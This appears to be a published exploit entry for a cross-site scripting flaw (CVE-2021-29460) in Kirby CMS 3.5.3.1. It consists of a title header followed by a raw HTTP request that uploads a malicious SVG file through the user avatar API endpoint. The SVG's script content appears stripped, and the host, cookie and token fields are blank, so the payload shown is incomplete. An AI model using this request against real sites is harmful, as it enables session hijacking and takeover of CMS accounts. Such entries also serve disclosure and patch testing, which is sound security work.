# Exploit Title: Kirby CMS 3.5.3.1 - 'file' Cross-Site Scripting (XSS) # Date: 21-04-2021 # Exploit Author: Sreenath Raghunathan # Vendor Homepage: https://getkirby.com/ # Software Link: https://github.com/getkirby/kirby # Version: 3.5.3.1(REQUIRED) # CVE : CVE-2021-29460 POST /api/users//avatar HTTP/1.1 Host: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:87.0) Gecko/20100101 Firefox/87.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate X-CSRF: Content-Type: multipart/form-data; boundary=---------------------------286121627839893676321700902916 Content-Length: 563 Connection: close Cookie: -----------------------------286121627839893676321700902916 Content-Disposition: form-data; name="file"; filename="svgxss.svg" Content-Type: image/svg+xml "> -----------------------------286121627839893676321700902916--